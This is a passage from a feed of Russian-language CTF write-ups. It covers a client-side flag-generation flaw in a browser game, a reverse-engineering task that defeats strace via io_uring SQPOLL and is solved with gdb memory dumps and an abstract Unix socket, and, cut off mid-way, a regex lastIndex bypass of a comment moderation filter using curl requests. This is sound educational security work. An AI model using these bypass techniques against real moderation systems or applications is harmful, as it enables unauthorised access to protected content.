  &lt;p id=&quot;0POP&quot;&gt;Ключевые константы:&lt;/p&gt;
  &lt;pre id=&quot;ubl4&quot; data-lang=&quot;javascript&quot;&gt;var FIXED_COLS = 15;
var FIXED_ROWS = 10;
var LEVEL_ORDER = [&amp;#x27;easy&amp;#x27;, &amp;#x27;medium&amp;#x27;, &amp;#x27;hard&amp;#x27;];
var LEVEL_REWARD_LENGTHS = [10, 9, 9];  // длина каждой части флага

// Массив зашифрованных данных для всех частей флага
var LEVEL_REWARD_DATA = [
  99,179,125,189,59,220,227,52,178,148,
  156,34,201,91,248,251,14,73,54,212,
  178,230,102,64,45,182,145,14,3,160
];

// Координаты &amp;quot;дырок&amp;quot; на игровом поле (используются для seed&amp;#x27;а)
var FIXED_HOLE_COORDS = [[2,1],[7,1],[11,1],[4,2],[9,3],[13,3],
                         [1,4],[6,5],[11,5],[3,7],[8,8],[12,8]];&lt;/pre&gt;
  &lt;p id=&quot;L4bL&quot;&gt;Функция генерации части флага&lt;/p&gt;
  &lt;pre id=&quot;ZkpA&quot; data-lang=&quot;javascript&quot;&gt;function levelReward(level){
  var index = LEVEL_ORDER.indexOf(level); // 0, 1, 2

  // Начальное seed-значение на основе индекса уровня и размеров поля
  var stream = (0x6d2b79f5 ^ Math.imul(index + 1, 0x9e3779b1)
                ^ (FIXED_COLS &amp;lt;&amp;lt; 24) ^ (FIXED_ROWS &amp;lt;&amp;lt; 16)) &amp;gt;&amp;gt;&amp;gt; 0;

  // Примешиваем координаты &amp;quot;дырок&amp;quot; в seed
  FIXED_HOLE_COORDS.forEach(function(pos, holeIndex){
    stream ^= Math.imul(cellKey(pos[0], pos[1], FIXED_COLS)
                + holeIndex + 1, 0x045d9f3b);
    stream = ((stream &amp;lt;&amp;lt; 11) | (stream &amp;gt;&amp;gt;&amp;gt; 21)) &amp;gt;&amp;gt;&amp;gt; 0;
  });

  var reward = &amp;#x27;&amp;#x27;;
  // lane определяет, какие байты из LEVEL_REWARD_DATA брать
  var lane = (index * 2 + 1) % LEVEL_ORDER.length;

  for (var i = 0; i &amp;lt; LEVEL_REWARD_LENGTHS[index]; i++){
    // xor-шифр: псевдослучайная последовательность на основе stream
    stream ^= stream &amp;lt;&amp;lt; 13;
    stream ^= stream &amp;gt;&amp;gt;&amp;gt; 17;
    stream ^= stream &amp;lt;&amp;lt; 5;
    stream &amp;gt;&amp;gt;&amp;gt;= 0;
    // Берём байт из LEVEL_REWARD_DATA и xor&amp;#x27;им с младшим байтом stream
    reward += String.fromCharCode(
      LEVEL_REWARD_DATA[i * LEVEL_ORDER.length + lane] ^ (stream &amp;amp; 255)
    );
  }
  return reward;
}&lt;/pre&gt;
  &lt;ol id=&quot;Tv6y&quot;&gt;
    &lt;li id=&quot;oTs9&quot;&gt;&lt;strong&gt;Алгоритм генерации:&lt;/strong&gt;&lt;br /&gt;Вычисляется seed (&lt;code&gt;stream&lt;/code&gt;) на основе номера уровня (0, 1, 2), размера поля (15×10) и координат «дырок»&lt;/li&gt;
    &lt;li id=&quot;yrn6&quot;&gt;Для каждого символа флага применяется простой xor-шифр: берётся байт из предопределённого массива &lt;code&gt;LEVEL_REWARD_DATA&lt;/code&gt; и xor&amp;#x27;ится с псевдослучайной последовательностью, генерируемой через младший байт &lt;code&gt;stream&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;eZgA&quot;&gt;Lane (дорожка) определяет, какие элементы массива относятся к какому уровню:&lt;/li&gt;
  &lt;/ol&gt;
  &lt;ul id=&quot;zd62&quot;&gt;
    &lt;li id=&quot;EVdy&quot;&gt;&lt;code&gt;easy (index 0) → lane 1&lt;/code&gt; — элементы 1, 4, 7, 10, 13, 16, 19, 22, 25, 28&lt;/li&gt;
    &lt;li id=&quot;va3r&quot;&gt;&lt;code&gt;medium (index 1) → lane 0&lt;/code&gt; — элементы 0, 3, 6, 9, 12, 15, 18, 21, 24&lt;/li&gt;
    &lt;li id=&quot;OUpA&quot;&gt;&lt;code&gt;hard (index 2) → lane 2&lt;/code&gt; — элементы 2, 5, 8, 11, 14, 17, 20, 23, 26&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;3Ery&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;hEH8&quot; data-align=&quot;center&quot;&gt;Эксплуатация&lt;/h2&gt;
  &lt;p id=&quot;wUeo&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;GIzl&quot;&gt;Флаг генерируется &lt;strong&gt;полностью на клиентской стороне&lt;/strong&gt;. Нет необходимости проходить игру — достаточно скопировать функцию &lt;code&gt;levelReward()&lt;/code&gt; и выполнить её в любой JavaScript-среде (браузерная консоль, Node.js).&lt;/p&gt;
  &lt;h3 id=&quot;d5Ht&quot;&gt;Способ 1:Через консоль браузера&lt;/h3&gt;
  &lt;p id=&quot;13JD&quot;&gt;Открыть DevTools (F12) на странице &lt;a href=&quot;https://firststeps-5w7im53y.avitoctf.ru&quot; target=&quot;_blank&quot;&gt;https://firststeps-5w7im53y.avitoctf.ru&lt;/a&gt;&lt;br /&gt;Выполнить в консоли:&lt;/p&gt;
  &lt;pre id=&quot;Gd59&quot; data-lang=&quot;javascript&quot;&gt;var flag = &amp;#x27;&amp;#x27;;
for (var l of [&amp;#x27;easy&amp;#x27;, &amp;#x27;medium&amp;#x27;, &amp;#x27;hard&amp;#x27;]) flag += levelReward(l);
console.log(&amp;#x27;avito{&amp;#x27; + flag + &amp;#x27;}&amp;#x27;);&lt;/pre&gt;
  &lt;h3 id=&quot;jSiQ&quot;&gt;Способ 2: Node.js репликация&lt;/h3&gt;
  &lt;p id=&quot;O7Uy&quot;&gt;Создать файл &lt;code&gt;compute_flag.js&lt;/code&gt; со скопированной функцией &lt;code&gt;levelReward()&lt;/code&gt; и выполнить:&lt;/p&gt;
  &lt;pre id=&quot;1LAI&quot; data-lang=&quot;bash&quot;&gt;node compute_flag.js&lt;/pre&gt;
  &lt;p id=&quot;hXxO&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;NdIt&quot; data-align=&quot;center&quot;&gt;Вывод&lt;/h2&gt;
  &lt;p id=&quot;PSii&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;U75Z&quot;&gt;&lt;strong&gt;Уязвимость:&lt;/strong&gt; Клиентская генерация флага — вся логика вычисления флага выполняется на стороне клиента в JavaScript. Любой пользователь может прочитать и воспроизвести эту логику, получив флаг без прохождения игры.&lt;br /&gt;&lt;strong&gt;Рекомендация по исправлению:&lt;/strong&gt; Флаг должен генерироваться и проверяться на серверной стороне. Клиент должен отправлять серверу доказательство прохождения уровня (например, найденный путь в лабиринте), а сервер — возвращать часть флага только при валидном решении.&lt;br /&gt;&lt;strong&gt;Потенциальное улучшение:&lt;/strong&gt; API-эндпоинт &lt;code&gt;/api/flag?level=easy&amp;amp;proof=&amp;lt;path_hash&amp;gt;&lt;/code&gt;, который проверяет, действительно ли игрок прошёл уровень до конца, и возвращает только соответствующую часть флага.&lt;/p&gt;

</content></entry><entry><id>filepom:io_hrana</id><link rel="alternate" type="text/html" href="https://teletype.in/@filepom/io_hrana?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><title>Пост охраны (io_hrana) — Writeup</title><published>2026-07-27T06:21:36.993Z</published><updated>2026-07-27T14:36:58.314Z</updated><summary type="html">Категория: Reverse / Linux</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Xrs4&quot;&gt;Категория: Reverse / Linux &lt;/p&gt;
    &lt;p id=&quot;lI5p&quot;&gt;Сложность: Hard &lt;/p&gt;
    &lt;p id=&quot;Zav7&quot;&gt;Автор: Ксения &lt;a href=&quot;https://t.me/g1inko&quot; target=&quot;_blank&quot;&gt;@g1inko&lt;/a&gt;, SPbCTF&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;23V6&quot;&gt;Описание задания:&lt;br /&gt;Дан файл io_hrana.elf — «сторожевой шершень», который аттестует систему перед тем, как впустить в улей. Нужно пройти аттестацию и доказать, что «ты не робот, не верблюд и не медоед».&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;NVnP&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;ilsM&quot; data-align=&quot;center&quot;&gt;Разведка&lt;/h2&gt;
  &lt;p id=&quot;ggun&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;CLBJ&quot; data-lang=&quot;bash&quot;&gt;$ file io_hrana.elf
io_hrana.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,
BuildID[...]=..., for GNU/Linux 3.2.0, stripped&lt;/pre&gt;
  &lt;p id=&quot;wuyo&quot;&gt;Статически слинкованный, stripped, ~2 МБ. Первый запуск:&lt;/p&gt;
  &lt;pre id=&quot;3cGn&quot; data-lang=&quot;bash&quot;&gt;$ ./io_hrana.elf

--=[ I WILL ONLY REVEAL MY SECRETS TO THE WORTHY ]=--

[*] Initializing.
system name = Linux
node name   = vm
...
[+] I am now ready to test your system

[*] Starting attestation
    5
    4
    3
    2
    1
    0
CHECK [1/4]
[+] init ok
CHECK [2/4]
...
&lt;/pre&gt;
  &lt;p id=&quot;vMFS&quot;&gt;Дальше идут четыре последовательные проверки. Обычный &lt;strong&gt;&lt;em&gt;strings&lt;/em&gt;&lt;/strong&gt; по бинарю не находит ни одной из выводимых фраз (&amp;quot;attestation&amp;quot;, &amp;quot;CHECK&amp;quot;, &amp;quot;dedicated user&amp;quot; и т.д.) — то есть все текстовые константы намеренно спрятаны от статического анализа.&lt;br /&gt;Первая попытка воспользоваться &lt;em&gt;&lt;strong&gt;strace&lt;/strong&gt;&lt;/em&gt;, чтобы посмотреть, какие файлы/сокеты трогает программа на каждой проверке, тоже почти ничего не даёт: в трассе видно буквально пару системных вызовов (&lt;strong&gt;&lt;em&gt;uname, readlink /proc/self/exe&lt;/em&gt;&lt;/strong&gt;, один &lt;em&gt;&lt;strong&gt;openat(&amp;quot;/proc/1/comm&amp;quot;)&lt;/strong&gt;&lt;/em&gt;) — а весь остальной ввод-вывод, включая все &lt;strong&gt;&lt;em&gt;write&lt;/em&gt;&lt;/strong&gt; в stdout, в strace просто отсутствует, хотя текст реально печатается на экран.&lt;br /&gt;Причина: io_uring + SQPOLL как анти-трассировочный приём&lt;br /&gt;В трассе, однако, виден характерный вызов:&lt;/p&gt;
  &lt;pre id=&quot;U3R6&quot; data-lang=&quot;c&quot;&gt;io_uring_setup(16, {flags=IORING_SETUP_SQPOLL|IORING_SETUP_R_DISABLED, ...}) = 3
io_uring_register(3, IORING_REGISTER_ENABLE_RINGS, NULL, 0) = 0&lt;/pre&gt;
  &lt;p id=&quot;IizQ&quot;&gt;&lt;strong&gt;&lt;em&gt;IORING_SETUP_SQPOLL&lt;/em&gt;&lt;/strong&gt; поднимает отдельный поток ядра, который сам вычитывает Submission Queue из shared-memory кольца и выполняет операции (&lt;strong&gt;&lt;em&gt;open, read, write, connect..&lt;/em&gt;.&lt;/strong&gt;) — приложению для этого не нужно делать системный вызов&lt;strong&gt;&lt;em&gt; io_uring_enter&lt;/em&gt;&lt;/strong&gt; вообще. Именно поэтому &lt;strong&gt;&lt;em&gt;strace/ltrace&lt;/em&gt;&lt;/strong&gt;, работающие через&lt;strong&gt;&lt;em&gt; ptrace&lt;/em&gt;&lt;/strong&gt; на пользовательском потоке, не видят ни файловых операций проверок, ни даже обычных&lt;strong&gt;&lt;em&gt; write()&lt;/em&gt;&lt;/strong&gt; в терминал: с точки зрения трассировщика поток программы почти ничего не делает, всю грязную работу выполняет невидимый kernel-thread. Это и есть «сторожевой шершень» из легенды задания.&lt;br /&gt;Дополнительно все строковые константы в бинаре не лежат в &lt;strong&gt;&lt;em&gt;.rodata&lt;/em&gt;&lt;/strong&gt;, а побайтово записываются в data-сегмент прямо в коде &lt;strong&gt;&lt;em&gt;main&lt;/em&gt;&lt;/strong&gt; — тысячи инструкций вида:&lt;/p&gt;
  &lt;pre id=&quot;U2cG&quot;&gt;movb $0x13, 0x5e3520(%rip)
movb $0x22, 0x5e3521(%rip)
movb $0xf3, 0x5e3522(%rip)
...&lt;/pre&gt;
  &lt;p id=&quot;t9kD&quot;&gt;Это классический анти-strings приём: раз строка никогда не лежит в бинаре одним куском,&lt;em&gt;&lt;strong&gt; strings/grep &lt;/strong&gt;&lt;/em&gt;по файлу её не находят.&lt;br /&gt;Стратегия: раз статика и обычная трассировка бессильны — смотрим живую память&lt;br /&gt;Раз строки всё равно оказываются расшифрованными (или просто дозаписанными) в адресном пространстве процесса к моменту вывода/сравнения, самый быстрый путь — не реверсить вручную тысячи &lt;strong&gt;&lt;em&gt;movb&lt;/em&gt;&lt;/strong&gt;, а поймать процесс в нужный момент через gdb и сдампить память:&lt;/p&gt;
  &lt;pre id=&quot;MqsH&quot; data-lang=&quot;python&quot;&gt;import gdb
gdb.execute(&amp;quot;catch syscall exit_group&amp;quot;)
gdb.execute(&amp;quot;run &amp;lt; /tmp/enters.txt&amp;quot;)
gdb.execute(&amp;quot;dump memory seg.bin 0x5e4000 0x60b000&amp;quot;)&lt;/pre&gt;
  &lt;p id=&quot;S5Bz&quot;&gt;Как только процесс доходит до&lt;strong&gt;&lt;em&gt; exit_group()&lt;/em&gt;&lt;/strong&gt; (падение очередной проверки), дампим все rw--регионы и прогоняем через &lt;strong&gt;&lt;em&gt;strings&lt;/em&gt;&lt;/strong&gt; — там уже лежит расшифрованный текст, который не найти в самом файле.&lt;br /&gt;Проверка за проверкой&lt;br /&gt;CHECK 1/4 — инициализация&lt;br /&gt;Ничего интересного, просто&lt;strong&gt;&lt;em&gt; uname()&lt;/em&gt;&lt;/strong&gt;.&lt;br /&gt;CHECK 2/4 — дистрибутив&lt;br /&gt;Дамп памяти в момент ошибки содержит:&lt;/p&gt;
  &lt;pre id=&quot;72dZ&quot; data-lang=&quot;bash&quot;&gt;/etc/os-release
PROpolisOS&lt;/pre&gt;
  &lt;p id=&quot;nOCL&quot;&gt;Программа читает /etc/os-release и требует ID=PROpolisOS (POPolis — привет прополису от пчёл). Патчим файл:&lt;/p&gt;
  &lt;pre id=&quot;Gjnw&quot; data-lang=&quot;bash&quot;&gt;sed -i &amp;#x27;s/^ID=.*/ID=PROpolisOS/&amp;#x27; /usr/lib/os-release&lt;/pre&gt;
  &lt;p id=&quot;T4nw&quot;&gt;→ [+] release ok&lt;br /&gt;CHECK 3/4 — «выделенный пользователь»&lt;br /&gt;В следующем дампе находится:&lt;/p&gt;
  &lt;pre id=&quot;1M8d&quot; data-lang=&quot;bash&quot;&gt;/home/apis_mellifera
[-] The dedicated user not found, cannot proceed&lt;/pre&gt;
  &lt;p id=&quot;6qtm&quot;&gt;apis_mellifera — латинское название пчелы медоносной. Создаём каталог:&lt;/p&gt;
  &lt;pre id=&quot;rMyK&quot; data-lang=&quot;bash&quot;&gt;mkdir -p /home/apis_mellifera&lt;/pre&gt;
  &lt;p id=&quot;P3VE&quot;&gt;Проверка идёт дальше, но теперь ругается на время:&lt;/p&gt;
  &lt;pre id=&quot;8vkp&quot; data-lang=&quot;bash&quot;&gt;[i] user creation time: 13:9 MSK
[-] A special user wasn&amp;#x27;t created at 13:37 MSK. Not cool!!&lt;/pre&gt;
  &lt;p id=&quot;AUMj&quot;&gt;Программа берёт время создания каталога (ctime/birth time инода) и сравнивает его с 13:37 по MSK (UTC+3) — «leet time». &lt;em&gt;&lt;strong&gt;ctime&lt;/strong&gt;&lt;/em&gt; нельзя выставить через&lt;strong&gt;&lt;em&gt; touch &lt;/em&gt;&lt;/strong&gt;(он всегда «сейчас» при любом изменении метаданных inode), поэтому единственный надёжный способ — временно перевести системные часы и создать каталог именно в этот момент:&lt;/p&gt;
  &lt;pre id=&quot;vOCQ&quot; data-lang=&quot;bash&quot;&gt;date -s &amp;quot;2026-07-18 10:37:00 UTC&amp;quot;      # 10:37 UTC = 13:37 MSK
rm -rf /home/apis_mellifera &amp;amp;&amp;amp; mkdir -p /home/apis_mellifera&lt;/pre&gt;
  &lt;p id=&quot;rwl3&quot;&gt;→ [i] user creation time: 13:37 MSK → [+] user ok&lt;br /&gt;CHECK 4/4 — окружение&lt;br /&gt;Проходит автоматически (там же в дампе виден &lt;strong&gt;&lt;em&gt;systemd &lt;/em&gt;&lt;/strong&gt;— похоже на проверку /&lt;strong&gt;&lt;em&gt;proc/1/comm&lt;/em&gt;&lt;/strong&gt;, то есть что init-процесс контейнера называется &lt;strong&gt;&lt;em&gt;systemd&lt;/em&gt;&lt;/strong&gt;, а не что-то подозрительное).&lt;br /&gt;После всех четырёх проверок:&lt;/p&gt;
  &lt;pre id=&quot;i5tx&quot; data-lang=&quot;bash&quot;&gt;[+] All good!
Grab your prize! https://prizering-gaxqsak4.avitoctf.ru/
[*] Press ENTER...&lt;/pre&gt;
  &lt;p id=&quot;YCxL&quot;&gt;Финальный этап: приватный сокет&lt;br /&gt;После нажатия Enter:&lt;/p&gt;
  &lt;pre id=&quot;MlCQ&quot;&gt;Well... Now as for those secrets I claimed to have...

Since you&amp;#x27;ve come this far, I&amp;#x27;m sure you know how to find a special private socket
that you need to set up, so that I can share a passcode for you to get into.
[*] Press ENTER...

[-] Failed to talk to a special confidential socket, cannot hand my secret to you...&lt;/pre&gt;
  &lt;p id=&quot;8fZA&quot;&gt;Снова дампим память в момент этой ошибки и находим строку:&lt;/p&gt;
  &lt;pre id=&quot;xCD1&quot;&gt;h0n3ycOmb&lt;/pre&gt;
  &lt;p id=&quot;oUoW&quot;&gt;(с нулевыми байтами вокруг — характерно для&lt;strong&gt;&lt;em&gt; sockaddr_un&lt;/em&gt;&lt;/strong&gt; в abstract namespace, т.е. путь вида&lt;em&gt;&lt;strong&gt; \0h0n3ycOmb&lt;/strong&gt;&lt;/em&gt;, не привязанный к файловой системе). Поднимаем такой сокет заранее и слушаем его:&lt;/p&gt;
  &lt;pre id=&quot;9iPO&quot; data-lang=&quot;python&quot;&gt;import socket

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(&amp;quot;\0h0n3ycOmb&amp;quot;)     # abstract socket, начинается с NUL
s.listen(1)
conn, _ = s.accept()
print(conn.recv(4096))&lt;/pre&gt;
  &lt;p id=&quot;DVyW&quot;&gt;Запускаем сервер, затем сам &lt;strong&gt;&lt;em&gt;io_hrana.elf&lt;/em&gt;&lt;/strong&gt; (с уже пропатченными &lt;strong&gt;&lt;em&gt;os-release&lt;/em&gt;&lt;/strong&gt; и временем создания&lt;strong&gt;&lt;em&gt; /home/apis_mellifera&lt;/em&gt;&lt;/strong&gt;) — бинарь коннектится к абстрактному сокету &lt;strong&gt;&lt;em&gt;h0n3ycOmb&lt;/em&gt;&lt;/strong&gt; и присылает в него флаг открытым текстом.&lt;/p&gt;
  &lt;h2 id=&quot;9N4A&quot; data-align=&quot;center&quot;&gt;Итог: что проверялось задачей&lt;/h2&gt;
  &lt;p id=&quot;xrRL&quot;&gt;&lt;br /&gt;Узнавание &lt;strong&gt;&lt;em&gt;io_uring/SQPOLL&lt;/em&gt;&lt;/strong&gt; как техники, из-за которой &lt;strong&gt;&lt;em&gt;strace/ltrace&lt;/em&gt;&lt;/strong&gt; оказываются бесполезны (I/O выполняется kernel-thread&amp;#x27;ом без «человеческих» системных вызовов на стороне трассируемого процесса).&lt;br /&gt;Приём анти-strings через побайтовую запись строк в память в рантайме — и обход через дамп живой памяти вместо ручной дизассемблировки каждого &lt;strong&gt;&lt;em&gt;movb&lt;/em&gt;&lt;/strong&gt;.&lt;br /&gt;Внимательность к деталям окружения:&lt;strong&gt;&lt;em&gt; /etc/os-release&lt;/em&gt;&lt;/strong&gt;, время создания файла (ctime vs mtime, и что ctime подделать можно только через системные часы), и abstract Unix-сокеты как канал передачи секрета.&lt;/p&gt;

</content></entry><entry><id>filepom:OnMute</id><link rel="alternate" type="text/html" href="https://teletype.in/@filepom/OnMute?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><title>OnMute — Writeup</title><published>2026-07-26T16:53:38.389Z</published><updated>2026-07-27T14:36:02.729Z</updated><summary type="html">Категория: Misc / Web</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;Kob9&quot;&gt;Категория: Misc / Web &lt;/p&gt;
    &lt;p id=&quot;KGxb&quot;&gt;Автор: Влад Росков &lt;a href=&quot;https://t.me/mrvos&quot; target=&quot;_blank&quot;&gt;@mrvos&lt;/a&gt; SPbCTF&lt;/p&gt;
    &lt;p id=&quot;Lf9F&quot;&gt;Автор writeup: &lt;a href=&quot;https://t.me/m0nr0e21&quot; target=&quot;_blank&quot;&gt;@m0nr0e21&lt;/a&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;zJBO&quot;&gt;&lt;br /&gt;OnMute — музыкальная площадка с агрессивной модерацией текстов треков: любое слово из растущего блок-листа немедленно вырезается из комментариев. В одном из треков автор спрятал отсылку для своих, которую заодно тоже зацензурили. Цель — обойти цензуру и достать полный (оригинальный) текст трека.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;ZnD4&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;OxAw&quot; data-align=&quot;center&quot;&gt;Разведка&lt;/h2&gt;
  &lt;p id=&quot;WXci&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;yEig&quot;&gt;В исходниках интересны три файла:&lt;br /&gt;&lt;em&gt;&lt;strong&gt;server/src/moderation/filter.js&lt;/strong&gt;&lt;/em&gt; — сам фильтр контента;&lt;br /&gt;&lt;strong&gt;&lt;em&gt;server/src/bot/commands.js&lt;/em&gt;&lt;/strong&gt; — обработчик текстовых команд бота (&lt;em&gt;&lt;strong&gt;/help, /censor, /report, /status, /original&lt;/strong&gt;&lt;/em&gt;);&lt;br /&gt;&lt;strong&gt;&lt;em&gt;server/src/routes/comments.js&lt;/em&gt;&lt;/strong&gt; — маршрут &lt;em&gt;&lt;strong&gt;POST /api/tracks/:id/comment&lt;/strong&gt;&lt;/em&gt;, который сначала прогоняет присланный текст через фильтр и только потом передаёт его парсеру команд.&lt;br /&gt;Ключевая находка — команда&lt;strong&gt;&lt;em&gt; /original &amp;lt;id&amp;gt;&lt;/em&gt;&lt;/strong&gt;:&lt;/p&gt;
  &lt;pre id=&quot;D2xV&quot; data-lang=&quot;javascript&quot;&gt;case &amp;#x27;original&amp;#x27;: {
  const original = await getOriginalText(cmd.trackId);
  if (!original) return { type: &amp;#x27;bot&amp;#x27;, message: &amp;#x60;Трек #${cmd.trackId} не найден.&amp;#x60; };
  return { type: &amp;#x27;bot&amp;#x27;, command: &amp;#x27;/original&amp;#x27;, message: original };
}&lt;/pre&gt;
  &lt;p id=&quot;5iEZ&quot;&gt;Она отдаёт необрезанный оригинал трека — включая всё, что цензура вырезала из публичной версии. Проблема в том, что строка&lt;em&gt;&lt;strong&gt; /original&lt;/strong&gt;&lt;/em&gt; сама лежит в блок-листе:&lt;/p&gt;
  &lt;pre id=&quot;UnKz&quot; data-lang=&quot;javascript&quot;&gt;export const BLOCKED_WORDS = [
  &amp;#x27;/original&amp;#x27;,
  &amp;#x27;блин&amp;#x27;, &amp;#x27;чёрт&amp;#x27;, &amp;#x27;жесть&amp;#x27;, &amp;#x27;фигня&amp;#x27;,
  ...
];&lt;/pre&gt;
  &lt;p id=&quot;pml6&quot;&gt;То есть простое сообщение &lt;em&gt;&lt;strong&gt;&amp;quot;/original 4&amp;quot;&lt;/strong&gt;&lt;/em&gt; будет заблокировано фильтром ещё до того, как до него доберётся &lt;em&gt;&lt;strong&gt;parseCommand()&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;
  &lt;p id=&quot;P79T&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;5xit&quot; data-align=&quot;center&quot;&gt;Уязвимость&lt;/h2&gt;
  &lt;p id=&quot;CR6e&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;36b1&quot;&gt;В server/src/moderation/filter.js для каждой сессии кешируется один и тот же объект RegExp с флагом g:&lt;/p&gt;
  &lt;pre id=&quot;vTfA&quot; data-lang=&quot;javascript&quot;&gt;function getPolicy(sessionId) {
  if (!policies.has(sessionId)) {
    policies.set(sessionId, {
      id: sessionId,
      re: new RegExp(&amp;#x60;(?:${BLOCKED_WORDS.join(&amp;#x27;|&amp;#x27;)})(?=[\\s.,!?;:)}\\]&amp;quot;&amp;#x27;»]|$)&amp;#x60;, &amp;#x27;gi&amp;#x27;),
    });
  }
  return policies.get(sessionId);
}&lt;/pre&gt;
  &lt;p id=&quot;feXY&quot;&gt;Классическая ошибка со &lt;strong&gt;&lt;em&gt;stateful &lt;/em&gt;&lt;/strong&gt;глобальным &lt;em&gt;&lt;strong&gt;regex: RegExp.prototype.lastIndex&lt;/strong&gt;&lt;/em&gt; — общее изменяемое состояние объекта, а не вызова.&lt;/p&gt;
  &lt;ul id=&quot;qn42&quot;&gt;
    &lt;li id=&quot;tw2e&quot;&gt;&lt;strong&gt;&lt;em&gt;checkContent()&lt;/em&gt;&lt;/strong&gt; крутит&lt;em&gt;&lt;strong&gt; re.exec()&lt;/strong&gt;&lt;/em&gt; в цикле до&lt;strong&gt;&lt;em&gt; null → lastIndex&lt;/em&gt;&lt;/strong&gt; сбрасывается в 0.&lt;/li&gt;
    &lt;li id=&quot;i0AE&quot;&gt;&lt;strong&gt;&lt;em&gt;matchesPolicy()&lt;/em&gt;&lt;/strong&gt; (внутри&lt;strong&gt;&lt;em&gt; /censor&lt;/em&gt;&lt;/strong&gt;) делает оди&lt;strong&gt;&lt;em&gt;н re.test()&lt;/em&gt;&lt;/strong&gt; → при совпадении &lt;strong&gt;&lt;em&gt;lastIndex &lt;/em&gt;&lt;/strong&gt;остаётся &amp;gt; 0.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;Pf8U&quot;&gt;Оба метода используют один и тот же кэшированный re (по sessionId из cookie). Поэтому &lt;strong&gt;&lt;em&gt;lastIndex&lt;/em&gt;&lt;/strong&gt;, оставленный &lt;em&gt;&lt;strong&gt;/censor&lt;/strong&gt;&lt;/em&gt;, наследуется следующим &lt;strong&gt;&lt;em&gt;checkContent()&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
  &lt;p id=&quot;6uiJ&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;Zbqp&quot; data-align=&quot;center&quot;&gt;Эффект&lt;/h2&gt;
  &lt;p id=&quot;C0XU&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;6Nev&quot;&gt;Если &lt;em&gt;&lt;strong&gt;/censor&lt;/strong&gt;&lt;/em&gt; поднимает&lt;strong&gt;&lt;em&gt; lastIndex&lt;/em&gt;&lt;/strong&gt; до N, а сообщение короче N символов, &lt;em&gt;&lt;strong&gt;re.exec() &lt;/strong&gt;&lt;/em&gt;начинает поиск с позиции N и пропускает начало строки (в т.ч.&lt;strong&gt;&lt;em&gt; /original&lt;/em&gt;&lt;/strong&gt;).&lt;/p&gt;
  &lt;p id=&quot;DtId&quot;&gt;&lt;strong&gt;&lt;em&gt;parseCommand()&lt;/em&gt;&lt;/strong&gt; при этом матчит &lt;strong&gt;&lt;em&gt;/original &lt;/em&gt;&lt;/strong&gt;по чистому ^\/original..., поэтому команда всё равно выполняется.&lt;/p&gt;
  &lt;p id=&quot;APXl&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;BOpk&quot; data-align=&quot;center&quot;&gt;Эксплуатация&lt;/h2&gt;
  &lt;p id=&quot;7aJO&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;DsdI&quot;&gt;Цель - трек 4, нужно найти censored-тексте найти слово из блок-листа ≤10 символов с разделителем сразу после (чтобы &lt;strong&gt;&lt;em&gt;matchesPolicy()&lt;/em&gt;&lt;/strong&gt; оставил lastIndex &amp;gt; 0). В бридже трека 4 — «Тише» (позиции 868–872).&lt;/p&gt;
  &lt;pre id=&quot;9PpX&quot; data-lang=&quot;bash&quot;&gt;curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H &amp;#x27;Content-Type: application/json&amp;#x27; \
  -d &amp;#x27;{&amp;quot;text&amp;quot;:&amp;quot;/censor 868 872&amp;quot;}&amp;#x27;&lt;/pre&gt;
  &lt;p id=&quot;6zti&quot;&gt;&lt;strong&gt;&lt;em&gt;matchesPolicy(&amp;quot;Тише&amp;quot;) &lt;/em&gt;&lt;/strong&gt;находит совпадение целиком (лукахед (?=...|$) срабатывает на конец строки фрагмента) →&lt;strong&gt;&lt;em&gt; lastIndex&lt;/em&gt;&lt;/strong&gt; объекта &lt;strong&gt;&lt;em&gt;regex&lt;/em&gt;&lt;/strong&gt; для этой сессии становится равен 4.&lt;br /&gt;Тем же сессионным куки сразу отправляем настоящую цель:&lt;/p&gt;
  &lt;pre id=&quot;E7OZ&quot; data-lang=&quot;bash&quot;&gt;curl -s -c cj.txt -b cj.txt -X POST https://onmute-h5hzbuoj.avitoctf.ru/api/tracks/4/comment \
  -H &amp;#x27;Content-Type: application/json&amp;#x27; \
  -d &amp;#x27;{&amp;quot;text&amp;quot;:&amp;quot;/original 4&amp;quot;}&amp;#x27;&lt;/pre&gt;
